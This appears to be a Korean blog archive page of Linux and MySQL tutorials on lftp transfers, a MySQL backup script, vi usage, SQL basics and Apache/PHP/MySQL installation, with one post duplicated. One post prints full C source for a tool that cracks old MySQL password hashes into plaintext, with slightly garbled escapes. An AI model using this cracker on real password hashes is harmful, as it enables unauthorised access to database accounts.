Search Results for '프로그래밍/리눅스 & MY-SQL'


206 posts related to '프로그래밍/리눅스 & MY-SQL'

  1. 2010/03/12 lftp 이용한 파일 다운로드 , 업로드.
  2. 2010/03/12 MySQL 백업용 쉘스크립트입니다.
  3. 2010/03/12 vi 에디터에서 창 나누기
  4. 2009/09/30 MySQL Weak Password Encryption Vulnerability Exploit
  5. 2009/09/30 MYSQL SQL문 정리
  6. 2009/08/27 우분투 - 웹 서버 APM(Apache+Php+MySQL) 설치
  7. 2009/08/27 우분투 - 웹 서버 APM(Apache+Php+MySQL) 설치
  8. 2009/08/27 솔라리스 - 9 x86에서 APM(Apache-PHP-MySQL) 설치 1
  9. 2009/08/27 솔라리스 - 톰캣6 (tomcat6)을 설치해봅시다
  10. 2009/08/27 솔라리스 - Telnet 접속 막기 (FTP만 허용)
  11. 2009/08/26 v$filestat로 디스크 I/O 를 확인해보자 1
  12. 2009/08/26 MYSQL 서버 캐릭셋이 EUCKR이 아닐경우 클라이언트 설정
  13. 2009/08/07 mysql max packet size 변경하기
  14. 2009/08/01 mysql 외부접속 가능하도록 설정하기
  15. 2009/08/01 mysql root 암호 바꾸기
  16. 2009/08/01 mysql 계정 생성 (grant 이용)
  17. 2009/08/01 mysql 쿼리 정리
  18. 2009/08/01 MySQL 전체 백업 1
  19. 2009/07/16 rm -rf * 잘못 쳤을 때 울지 않기!
  20. 2009/05/08 자주쓰는 리눅스명령어 요약
  21. 2009/04/30 리눅스 간단 명령어 정리 모음
  22. 2009/04/30 find 명령어와 펄스크립트를 사용할 때 ' (홑따옴표) 의 처리.
  23. 2009/04/30 파일 내용 일괄 변경 및 파일 일괄 관리
  24. 2009/04/12 리눅스용 프로그램들 ...[1원짜리]
  25. 2009/04/12 [리눅스] VI 에디터 사용방법 정리
  26. 2009/04/12 [서버운영] 웹 해킹 흔적을 찾는 간단한 find 명령어
리눅스 서버간 파일 복사할 때
보통 scp 등으로 명령어 라인에서 간단하게 복사하는데
방화벽이나 관리자가 scp 명령어를 막아서 못쓸 경우
lftp 로 간단하게 옮길 수 있습니다.
..
lftp 는 옛날 ncftp 를 기능적으로  대체하는 ftp 클라이언트 인데
최근 리눅스 배포판에는 ncftp 가 빠지고 lftp 가 들어가 있습니다.


[[ 사용법 ]]


## 파일 가져올 때 :  home.co.kr 서버의 nonots 계정에 있는 *.tgz 파일들을
내 컴퓨터로 가져올 때

lftp home.co.kr -u nonots,mypwd -e "mget *.tgz;exit"



## 여러파일 업로드 할 때 :  home.co.kr 서버의 nonots 계정으로  *.log 파일들을
업로드 할때

lftp home.co.kr -u nonots,mypwd -e "mput ./*.log;exit"
lftp home4.co.kr -u nonots,mypwd -e "put ./aaa.tgz;exit"



## 방화벽 등으로 패시브 모드 전환 필요할 때 ( set ftp:passive-mode 0 혹은 1 )

lftp home7.co.kr -u nonots,mypwd -e "set ftp:passive-mode 0;put ./aaa.tgz;exit"
2010/03/12 16:23 2010/03/12 16:23
/etc/cron.daily 에 파일을 만들어 두거나

crond 에 등록해서 사용하시면 됩니다.

[기능요약]

1.root 계정으로 전체 디비를 디비별로 백업 가능함
2.옵션으로 테이블 별 백업 가능함.
3.보존 설정 기간 이후 자동 삭제

--------------------------------------------source----------------------------------------------------------

#!/bin/sh

############################################################################
#
#
# 데이터 베이스별 혹은 테이블 별로 백업 받을 수 있도록 변경했으며
# 30 LINE 에 명기된 배열에 속하는 디비들만 테이블 별로 백업 받는다.
#
# 데이터베이스 단위로 받은 파일은 DB. 으로 시작하고
# 테이블 단위는 TB. 으로 시작하는 파일명을 갖는다.
#
# 백업 파일은 dump.gz 로 형성 되며 설정된 보존 기간이 지나면 자동 삭제 된다.
#
#############################################################################

##### SET VARIABLES ############ 전체를 백업 받으려면 여기에 root 계정을 입력한다.
DBHOST="yourhost"
DBUSER="yourid"
DBPWD="yourpassword"

#백업 경로
BACKUPDIR="/home/your_backup_dir/"
#로그 작성 경로
LOGDIR="/home/your_backup_log_dir/"
#로그 파일 앞에 붙을 특정 텍스트
LOGNAME="log_"

###### SET DB NAMES which BACKUP by TABLES ###### 여기 표시된 DB 들은 테이블 별로 백업된다.
DB_TBARR=(dbname1 dbname2 dbname3)

#백업 옵션을 원하는 대로 설정
#routine 옵션은 5버전 이상에서만 사용(function 등을 백업함)
OPTIONS="--skip-comments --default-character-set=euckr --routines"

##### SET CHARGE LIMIT ########## 백업 파일 저장 기간(일단위)
CHARGE_LMT=3

##### DELETE OLD_BACKUP FILES #######
find ${BACKUPDIR} -name "*.gz" -mtime +${CHARGE_LMT} -exec rm -rf {} \;

##### START LOG CREATE ##########
YMD_S=`date +%Y%m%d%H%M%S`
touch ${LOGDIR}${LOGNAME}${YMD_S}.start

##### DB LIST GET ###############
#IF YOU WANT TO EXCEPT SOME DATABASE ADD THIS
#grep -v Database | grep -v somename | grep -v somename`
#

#grep -v dbname 하면 백업 시 제외 된다.

RESULT=`mysql -u$DBUSER -p$DBPWD -h$DBHOST -e "show databases" | grep -v Database`

for DB in $RESULT; do

    sw=0
    ##### compare DB to TBARR #####
    for i in ${DB_TBARR[@]}; do
        if [ $i = $DB ]; then
            let "sw=sw+1"
        fi
        done

    if [ $sw = 0 ]; then
        # BACKUP by DB
        FNAME=${BACKUPDIR}DB.${DB}_${YMD_S}.dump
        #echo $FNAME
        touch $FNAME
        echo "set foreign_key_checks=0;" >> $FNAME
        mysqldump -u$DBUSER -p$DBPWD -h$DBHOST $OPTIONS $DB >> $FNAME
        echo "set foreign_key_checks=1;" >> $FNAME
        gzip --rsyncable $FNAME

    else
        # BACKUP by TABLES
                RESULT_TB=`mysql -u$DBUSER -p$DBPWD -h$DBHOST $DB -e"show tables" | grep -v heap | grep -v Tables_in `
                for TB in $RESULT_TB; do

                        FNAME=${BACKUPDIR}TB.${DB}.${TB}_${YMD_S}.dump
            #echo $FNAME
            touch $FNAME
            echo "set foreign_key_checks=0;" >> $FNAME
            mysqldump -u$DBUSER -p$DBPWD -h$DBHOST $OPTIONS $DB $TB >> $FNAME
            echo "set foreign_key_checks=1;" >> $FNAME
            gzip --rsyncable $FNAME

                done        
    fi

done

##### END LOG CREATE ###########
YMD_E=`date +%Y%m%d%H%M%S`

touch ${LOGDIR}${LOGNAME}${YMD_E}.end
2010/03/12 16:22 2010/03/12 16:22
모니터가 16:9 길죽한 거니까
창을 세로로 나누어서 쓰니까 편하군요..
..
vi 에디터에서

ctrl + w  v  하면 수직 창이 나누어진다.
ctrl + w  s 는 수평나누기이다.(별로 쓸일이 없다)
..
나누어서
ctrl + w  w 하면 나누어진 창으로 커서가 이동한다.
..
창 크기 조절은..
수평.. 나누기 했으면..

ctrl + w  N+  하면 N 만큼 커진다..
예를 들면 ctrl+w 를 한뒤에 숫자 3 과 플러스를 누르면 3 만큼 창이 커진다.
마이너스 하면 작아지고..
..
만약 수직 나누기에서 창크기 조절은..
N>.. N< 와 같다.. 즉 ctlr+w 누른후 숫자 3 과 꺽은 괄호 < 나 > 를
누르면 크기가 조절이 된다
..
창 연 후에  다른 파일 열려면..
창 명령모드
:e  aaa.txt  하고 하든가..

파일명을 몰라서 파일목록 보이게 하려면..
:e [디렉토리] 와 같이 한다.
만약 현재 디렉토리의 파일 목록 보려면..
:e .
와 같이 점을 찍으면 된다.
..
다 아는 내용이라구요?
2010/03/12 16:14 2010/03/12 16:14
MySQL Weak Password Encryption Vulnerability Exploit



/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %sn", hash);
return;
}
printf("Hash: %08lx%08lxn", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %dn", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not foundn");
}

int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hashn", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
2009/09/30 21:45 2009/09/30 21:45
* 데이터베이스 또는 테이블 보기
SHOW DATABASES;
SHOW TABLES;

* 데이터베이스 생성하기
CREATE DATABASE 데이터베이스명;

* 테이블 생성하기
CREATE TABLE 테이블명 (컬럼명1, 컬럼명2, 컬럼명3, ..., 컬럼명N);

* 데이터베이스 사용
USE 데이터베이스명;

* 데이터베이스 삭제하기
DROP DATABASE 데이터베이스명;

* 테이블 삭제하기
DROP TABLE 테이블명;

* 테이블에 새로운 컬럼 추가하기
ALTER TABLE 테이블명 ADD 컬럼명 자료형;

* 데이블의 특정 컬럼을 변경하기
ALTER TABLE 테이블명 CHANGE 변경전명 변경후명 자료형;

* 테이블에 특정 컬럼을 삭제하기
ALTER TABLE 테이블명 DROP 컬럼명;

* 테이블에 데이터 추가하기
INSERT INTO 테이블명 (컬럼1, 컬럼2, ..., 컬럼N) VALUES (데이터1, 데이터2, ..., 데이터N);

* 테이블 구조 살펴보기
DESCRIBE 테이블명;

* 원하는 항목 표시하기
SELECT * FROM 테이블이름;
SELECT 컬럼1, 컬럼2, ...컬럼N FROM 테이블이름;

* 조건하에 항목 표시하기
SELECT id, name, email FROM memo WHERE sex = 'M' AND math > '70';

* 순서대로 표시하기
// 오름차순
SELECT name, phone FROM memo ORDER BY 컬럼명 ASC;
// 내림차순
SELECT name, phone FROM memo ORDER BY 컬럼명 DESC;

* 원하는 갯수만큼 가져오기
// 위에서 4개만 가져온다.
SELECT * FROM memo LIMIT 4;
// 3번부터 4개를 가져온다.
SELECT * FROM memo LIMIT 2, 4;

* 데이터 개수 알아내기
SELECT COUNT(*) FROM data;

* 특정조건에 해당되는 데이터 갯수 구하기.
SELECT COUNT(*) FROM data WHERE sex = 'F';

* 검색을 통해 데이터 가져오기
SELECT * FROM student WHERE name LIKE '인민%';

* 자료 업데이트 하기
UPDATE 테이블명 SET 컬럼 = 값, ... WHERE 조건문

* 자료 삭제하기
DELETE FROM 테이블명 WHERE 조건문;

2009/09/30 21:32 2009/09/30 21:32

레드햇9.0 웹서버를 운영하다 급작스런 패키지 의존성 문제로 몇번 말아먹어본적이 있어 대중성 보다는  패키징 관리가 쉬운 Debian 계열의  우분투 리눅스에서 APM(Apache+Php+MySQL)을 설치해 보았습니다.

이 글은 컴파일해서 쓰는게 아니라 패키지 자체설치로 초보자도 간단하게 설치해볼수 있습니다.

APM이란 리눅스에서 웹서버를 구성할때 많이 쓰는 프로그램의 일반적인 통합명칭입니다.

부르기 쉽게 한데로 모아서 APM이라고 부릅니다. 요즘은 LAMP(Linux + Apache + MySQL + Php/Perl,Python)환경 이라고도 부르기도 합니다.

아파치(Apache)는 웹서버 자체로서 일반적인 프로토콜인 Http프로토콜을 사용합니다. 또한 Https,ftp등도 지원을 하게 됩니다.

MySQL은 데이터베이스 엔진으로서 각종 게시판이나 데이터베이스를 사용해야할때 많이 쓰이는 프로그램입니다. MySQL뿐만 아니라 PostgresSQL도 사용이 가능합니다.

PHP는 스크립트언어로서 웹페이지를 구성할수 있는 언어중 하나입니다. 많은 웹 프로그램들이 php로 작성 되고 있습니다.

 

일반적으로 설치순서는 Apache -> MySQL -> PHP 등으로 이루어 지게 됩니다.

 

1) 설치

1.Apache

먼저 Apache를 설치하여 보겠습니다. 버전은 apache2버전을 기준으로 하겠습니다.

터미널을 열고 다음 명령을 입력합니다.

sudo apt-get install apache2

다음으로 mysql을 인증을 위한 모듈을 설치하겠습니다.

sudo apt-get install libapache2-mod-auth-mysql


다음으로 MySQL

sudo apt-get install mysql-server mysql-client

설치가 완료되면 MySQL서버가 자동으로 시작이 됩니다.

마지막으로 PHP 버전은 PHP5 기준으로 하겠습니다.

마찬가지로 터미널에서 다음을 입력합니다.

sudo apt-get install php5-common php5 libapache2-mod-php5

MySQL과 연동하기 위한 모듈을 설치합니다.

sudo apt-get install php5-mysql

 

이상으로 설치가 완료 되었습니다.

 

아파치 웹서버를 제 시작하겠습니다.

sudo /etc/init.d/apache2 restart

 

MySQL서버도 정상적으로 작동하는지 확인해 보고 작동을 안한다면 restart 를 해줍니다.

sudo netstat -tap | grep mysql

명령을 줬을때

tcp 0 0 localhost.localdomain:mysql *:* LISTEN -

와 비슷한 것을 보면 정상이고 그렇지 않다면

sudo /etc/init.d/mysql restart

로 재시작을 해줍니다.

 

모든게 정상이라면

에디터를 열고 웹서버의 디렉토리(일반적으로 "/var/www" 에서 phpinfo.php라는 파일을 만들고 다음의 소스코드를 넣어 줍니다.

1.      <?php

2.      print_r(phpinfo());

3.      ?>

그리고 웹브라우저를 열고 실행을 시켜봅니다.

일반적으로 http://호스트주소/phpinfo.php 로 주소를 열면 됩니다.

다음과 같은 화면이 나오면 웹서버를 위한 환경이 구성이 되었습니다.

스크롤을 내려 Apache MySQL 등을 찾아 제대로 연결이 되었는지 확인해 봅니다.

각종 사항은 설정마다 다르게 나올것입니다.


2) 설정

1. 아파치

아파치의 기본설정 파일은 /etc/apache2/apache2.conf

포트번호, 문서의루트, 모듈, 각종 로그파일, 가상 호스트 등을 설정할수 있습니다.

자세한 사항은 아파치 문서를 참조하시기 바랍니다.


2.  MySQL

mysql 의 관리자 암호는 처음에는 지정이 되지 않은 상태입니다.

관리자 암호를 설정하기 위해서는

sudo mysqladmin -u root password newrootsqlpassword

sudo mysqladmin -p -u root -h localohost password newrootpassword

을 입력합니다.

첫번째 줄만 실행해도 설정은 될것입니다.

MySQL 설정파일은 /etc/mysql/my.cnf 파일이고 로그 파일, 포트 번호등을 설정할수 있습니다.

참고 : http://mysql.com
         http://apache.org
         http://php.net


-설치 후-

Debian 계열의 배포판, 그중 우분투 리눅스는 패키징 관리가 용의하며, 각종 드라이브, 로컬 라이징, 간단한 명령어를 통한 업데이트 까지 데스크탑 리눅스를 모토로한 우분투는 GUI 환경까지 편의성 만큼은 Redhat 보다 좋은거 같습니다.

웹 서버로는 처음 구축해 보았지만, 현재 노트북의 OS 사용 하는것도 Ubuntu 이며 virtual box 사용으로 윈도우까지 wine 으로 IE6.0 까지 사용하며 불편을 못느끼고 있습니다.

Redhat 이나 Fedora 계열로 웹서버를 운영하시던 분들도 포스팅을 보시고 간단하게 가볍게 우분투를 한번 사용해 보시기 바랍니다.

2009/08/27 11:39 2009/08/27 11:39

레드햇9.0 웹서버를 운영하다 급작스런 패키지 의존성 문제로 몇번 말아먹어본적이 있어 대중성 보다는  패키징 관리가 쉬운 Debian 계열의  우분투 리눅스에서 APM(Apache+Php+MySQL)을 설치해 보았습니다.

이 글은 컴파일해서 쓰는게 아니라 패키지 자체설치로 초보자도 간단하게 설치해볼수 있습니다.

APM이란 리눅스에서 웹서버를 구성할때 많이 쓰는 프로그램의 일반적인 통합명칭입니다.

부르기 쉽게 한데로 모아서 APM이라고 부릅니다. 요즘은 LAMP(Linux + Apache + MySQL + Php/Perl,Python)환경 이라고도 부르기도 합니다.

아파치(Apache)는 웹서버 자체로서 일반적인 프로토콜인 Http프로토콜을 사용합니다. 또한 Https,ftp등도 지원을 하게 됩니다.

MySQL은 데이터베이스 엔진으로서 각종 게시판이나 데이터베이스를 사용해야할때 많이 쓰이는 프로그램입니다. MySQL뿐만 아니라 PostgresSQL도 사용이 가능합니다.

PHP는 스크립트언어로서 웹페이지를 구성할수 있는 언어중 하나입니다. 많은 웹 프로그램들이 php로 작성 되고 있습니다.

 

일반적으로 설치순서는 Apache -> MySQL -> PHP 등으로 이루어 지게 됩니다.

 

1) 설치

1.Apache

먼저 Apache를 설치하여 보겠습니다. 버전은 apache2버전을 기준으로 하겠습니다.

터미널을 열고 다음 명령을 입력합니다.

sudo apt-get install apache2

다음으로 mysql을 인증을 위한 모듈을 설치하겠습니다.

sudo apt-get install libapache2-mod-auth-mysql


다음으로 MySQL

sudo apt-get install mysql-server mysql-client

설치가 완료되면 MySQL서버가 자동으로 시작이 됩니다.

마지막으로 PHP 버전은 PHP5 기준으로 하겠습니다.

마찬가지로 터미널에서 다음을 입력합니다.

sudo apt-get install php5-common php5 libapache2-mod-php5

MySQL과 연동하기 위한 모듈을 설치합니다.

sudo apt-get install php5-mysql

 

이상으로 설치가 완료 되었습니다.

 

아파치 웹서버를 제 시작하겠습니다.

sudo /etc/init.d/apache2 restart

 

MySQL서버도 정상적으로 작동하는지 확인해 보고 작동을 안한다면 restart 를 해줍니다.

sudo netstat -tap | grep mysql

명령을 줬을때

tcp 0 0 localhost.localdomain:mysql *:* LISTEN -

와 비슷한 것을 보면 정상이고 그렇지 않다면

sudo /etc/init.d/mysql restart

로 재시작을 해줍니다.

 

모든게 정상이라면

에디터를 열고 웹서버의 디렉토리(일반적으로 "/var/www" 에서 phpinfo.php라는 파일을 만들고 다음의 소스코드를 넣어 줍니다.

1.      <?php

2.      print_r(phpinfo());

3.      ?>

그리고 웹브라우저를 열고 실행을 시켜봅니다.

일반적으로 http://호스트주소/phpinfo.php 로 주소를 열면 됩니다.

다음과 같은 화면이 나오면 웹서버를 위한 환경이 구성이 되었습니다.

스크롤을 내려 Apache MySQL 등을 찾아 제대로 연결이 되었는지 확인해 봅니다.

각종 사항은 설정마다 다르게 나올것입니다.


2) 설정

1. 아파치

아파치의 기본설정 파일은 /etc/apache2/apache2.conf

포트번호, 문서의루트, 모듈, 각종 로그파일, 가상 호스트 등을 설정할수 있습니다.

자세한 사항은 아파치 문서를 참조하시기 바랍니다.


2.  MySQL

mysql 의 관리자 암호는 처음에는 지정이 되지 않은 상태입니다.

관리자 암호를 설정하기 위해서는

sudo mysqladmin -u root password newrootsqlpassword

sudo mysqladmin -p -u root -h localohost password newrootpassword

을 입력합니다.

첫번째 줄만 실행해도 설정은 될것입니다.

MySQL 설정파일은 /etc/mysql/my.cnf 파일이고 로그 파일, 포트 번호등을 설정할수 있습니다.

참고 : http://mysql.com
         http://apache.org
         http://php.net


-설치 후-

Debian 계열의 배포판, 그중 우분투 리눅스는 패키징 관리가 용의하며, 각종 드라이브, 로컬 라이징, 간단한 명령어를 통한 업데이트 까지 데스크탑 리눅스를 모토로한 우분투는 GUI 환경까지 편의성 만큼은 Redhat 보다 좋은거 같습니다.

웹 서버로는 처음 구축해 보았지만, 현재 노트북의 OS 사용 하는것도 Ubuntu 이며 virtual box 사용으로 윈도우까지 wine 으로 IE6.0 까지 사용하며 불편을 못느끼고 있습니다.

Redhat 이나 Fedora 계열로 웹서버를 운영하시던 분들도 포스팅을 보시고 간단하게 가볍게 우분투를 한번 사용해 보시기 바랍니다.

2009/08/27 11:39 2009/08/27 11:39

설치할 APM 버전

  • Apache 2.0.55
  • PHP 5.0.5
  • MySQL 4.1.13a

들어가기 전에

1. 설치 전에

  • APM과 관련해 설치 전에 해야할 것은 없다.

2. APM 설치

  1. http://www.mysql.com: mysql-4.1.14.tar.gz
    root@wl ~ # gtar xvfz mysql-4.1.14.tar.gz
    root@wl ~ # cd mysql-4.1.14
    root@wl ~/mysql-4.1.14 # CC=gcc CFLAGS="-O2 -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT -fomit-frame-pointer -DHAVE_CURSES_H" \
     CXX=gcc CXXFLAGS="-O2 -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT -fomit-frame-pointer -felide-constructors -fno-exceptions -fno-rtti -DHAVE_CURSES_H" \
     ./configure \
     --prefix=/usr/local/mysql \
     --enable-thread-safe-client \
     --with-charset=euckr # MySQL 4.1.x부터 euc_kr이 아닌 euckr로 변경되었다.
    root@wl ~/mysql-4.1.14 # make
    root@wl ~/mysql-4.1.14 # make install
    
  2. http://www.apache.org: httpd-2.0.55.tar.gz
    root@wl ~ # gtar xvfz httpd-2.0.55.tar.gz
    root@wl ~ # cd httpd-2.0.55
    root@wl ~/httpd-2.0.55 # ./configure \
     --prefix=/usr/local/apache2 \
     --enable-so \
     --enable-dav \
     --enable-dav-fs \
     --disable-ipv6 \ # IPv6를 사용하지 않는다면 이 옵션을 주는것이 좋다.1)
     --with-mpm=worker # PHP가 비정상적인 동작을 보인다면 이부분을 삭제한다.2) worker외에 --with-mpm=perchild 도 쓸만하다.
    root@wl ~/httpd-2.0.55 # make
    root@wl ~/httpd-2.0.55 # make install
    
    1) 에러로그에 [warn] (128)Network is unreachable: connect to listener 이라는 메시지를 없앨 수 있다.
    2) PHP를 개발한 The PHP Group이나 APACHE 개발한 The Apache Software Foundation에서는 mpm으로써 worker나 perchild를 권장하지 않는다. 값을 지정하지 않는다면 기본값인 prefork을 사용한다.
  3. http://www.xmlsoft.org: libxml2-2.6.20.tar.gz
    root@wl ~ # gtar xvfz libxml2-2.6.20.tar.gz
    root@wl ~ # cd libxml2-2.6.20
    root@wl ~/libxml2-2.6.20 # ./configure --prefix=/usr/local/xml
    root@wl ~/libxml2-2.6.20 # make
    root@wl ~/libxml2-2.6.20 # make install
    
  4. http://www.php.net: php-5.0.5.tar.gz
    root@wl ~ # gtar xvfz php-5.0.5.tar.gz
    root@wl ~ # cd php-5.0.5
    root@wl ~/php-5.0.5 # ./configure \
     --prefix=/usr/local/php \
     --with-apxs2=/usr/local/apache2/bin/apxs \
     --with-mysql=/usr/local/mysql \
     --with-mysqli=/usr/local/mysql/bin/mysql_config \ # MySQL 4.1.2 이상 필요
     --with-iconv \
     --with-libxml-dir=/usr/local/xml \
     --enable-modules=so \
     --enable-mbstring \
     --enable-mbregex \
     --with-gd \
     --enable-gd-native-ttf \
     --with-jpeg-dir=/usr/sfw \
     --with-png-dir=/usr/sfw \
     --with-zlib-dir=/usr/local
    root@wl ~/php-5.0.5 # make
    root@wl ~/php-5.0.5 # make install
    root@wl ~/php-5.0.5 # cp php.ini-dist /usr/local/php/lib/php.ini
    
    # 여기까지 하면 설치는 끝난다. 아래는 Zend Optimizer를 설치하는 과정이다.
    root@wl ~ # gtar xvfz ZendOptimizer-2.5.10a-sunos5.9-i386.tar.gz
    root@wl ~ # cd ZendOptimizer-2.5.10a-sunos5.9-i386
    root@wl ~/ZendOptimizer-2.5.10a-sunos5.9-i386 # ./install 1)
    
    1)
    - php.ini파일은 /usr/local/php/lib 디렉토리에 있다.
    - Apache Control Utility는 /usr/local/apache2/bin/apachectl 에 있다.
    - 설치가 완료되면 /usr/local/php/lib/php.ini가 /usr/local/Zend/etc/php.ini파일로 심볼릭 링크된다.
    - 원래의 php.ini은 /usr/local/php/lib/php.ini-zend_optimizer.bak 에 있다.
    - php.ini만 이전것으로 복구하면 자연스럽게 Zend Optimizer를 언인스톨 할 수 있다.
    - Zend Optimizer는 http://www.zend.com에서 무료 회원 가입후 무료로 받을 수 있다.
    - Zend Optimizer는 필수사항이 아니다. Zend Encoder로 인코딩된 php 소스를 실행할 수 있으며, php를 좀 더 빨리 실행시켜준다고 알려져 있으며, Solaris Sparc이나 리눅스에서는 큰 효과가 있지만, Solaris x86에서는 그리 큰 효과가 없는듯 하다. (성능향상이 되는지도 잘 모르겠다 ^^ 스팍에서 설치할땐 쉽게 느낄 수 있을정도의 성능향상이 있었다)

3. APM 설정(기본적인것만)

  1. PATH 설정
    root@wl ~ # vi /etc/profile
    # for Apache located at /usr/local/apache2
    if [ -d /usr/local/apache2 ]
    then
      LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/apache2/lib; export LD_LIBRARY_PATH
      PATH=$PATH:/usr/local/apache2/bin; export PATH;
    fi
    
    # for MySQL located at /usr/local/mysql
    if [ -d /usr/local/mysql/lib/mysql ]
    then
      LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/mysql/lib/mysql; export LD_LIBRARY_PATH
      PATH=$PATH:/usr/local/mysql/bin; export PATH;
    fi
    
  2. MySQL 설정
    root@wl ~ # useradd -d /export/home/mysql -g staff -m -u 102 -s /bin/false mysql 1)
    root@wl ~ # /usr/local/mysql/bin/mysql_install_db 2)
    root@wl ~ # chown -R mysql:staff /usr/local/mysql/var 3)
    root@wl ~ # cp /usr/local/mysql/share/mysql/my-medium.cnf /etc/my.cnf 4)
    root@wl ~ # vi /etc/my.cnf 4)
    skip-networking
    #log-bin
    root@wl ~ # /usr/local/mysql/share/mysql/mysql.server start 5)
    root@wl ~ # /usr/local/mysql/bin/mysqladmin -u root password 'new-password' 6)
    root@wl ~ # /usr/local/mysql/bin/mysqladmin -u root -h wl password 'new-password' 6)
    
    1) MySQL을 실행할 유닉스 계정을 생성한다.
    2) 기본 MySQL DB를 생성한다.
    3) 기본 MySQL DB는 /usr/local/mysql/var 에 생성되는데 이 디렉토리및 파일들의 소유자를 변경한다.
    4) MySQL 설정 파일을 복사한 후 적당히 수정한다. /usr/local/mysql/share/mysql 에 my-huge.cnf, my-large.cnf, my-medium.cnf, my-small.cnf 의 예제 설정 파일이 있다. 이를 /etc/my.cnf 으로 이름을 바꿔 복사하면 된다. 리플리케이션을 사용하지 않는다면 [log-bin]을 찾아 주석처리하고 외부에서 접속이 없다면 [skip-networking]의 주석을 푼다.
    5) MySQL 서버를 시작한다. 종료는 [/usr/local/mysql/share/mysql/mysql.server stop] 커맨드를 사용한다.
    6) MySQL의 root 패스워드를 변경한다. 기본값은 없기 때문에 반드시 수정해야 한다. [wl]부분은 MySQL이 설치된 호스트의 이름이다.
  3. Apache 설정
    root@wl ~ # vi /usr/local/apache2/conf/httpd.conf
    Group nobody 1)
    # AddDefaultCharset ISO-8859-1 2)
    AddType application/x-httpd-php	.php 3)
    AddType application/x-httpd-php-source	.phps 3)
    ServerName xxx.solanara.com:80 4)
    root@wl ~ # /usr/local/apache2/bin/apachectl start
    
    1) [Group #-1]을 찾아 [Group nobody]로 수정한다.
    2) [AddDefaultCharset ISO-8859-1] 부분이 있다면 주석처리 한다. (없을수도 있다)
    3) AddType부분의 두라인을 추가한다.
    4) ServerName을 정해준다. 정하지 않아도 되지만 [httpd: Could not determine the server's fully qualified domain name, using xxx.xxx.xxx.xxx for ServerName]와 같은 메시지가 나올 수 있다. 만약 도메인이 없다면 IP를 입력해준다. 예) [ServerName 192.168.0.1]
  4. PHP 설정
    root@wl ~ # vi /usr/local/apache2/htdocs/index.php
    <?
      phpinfo();
    ?>
    root@wl ~ #
    
    이후 http://localhost/index.php에서 php정보가 제대로 나오는지 확인한다. 아래와 비슷하게 나와야 한다. 확인되었으면 index.php파일을 지운다. (보안때문)
    사용자 삽입 이미지

    root@wl ~ # rm /usr/local/apache2/htdocs/index.php
    

    여기까지 되면 설치는 완료되었다.  
2009/08/27 11:35 2009/08/27 11:35

톰캣 설치는 앉아서 밥먹기 처럼 쉽습니다.

유닉스의 솔라리스 뿐만아니라 리눅스도 아래와 같은 방법으로 설치하시면 됩니다

자바로 만들어진 것이라서 자바의 강점인 운영체제에 상관없이 잘 돌아간다라는 것
즉, 그냥 압축풀면 끝나요

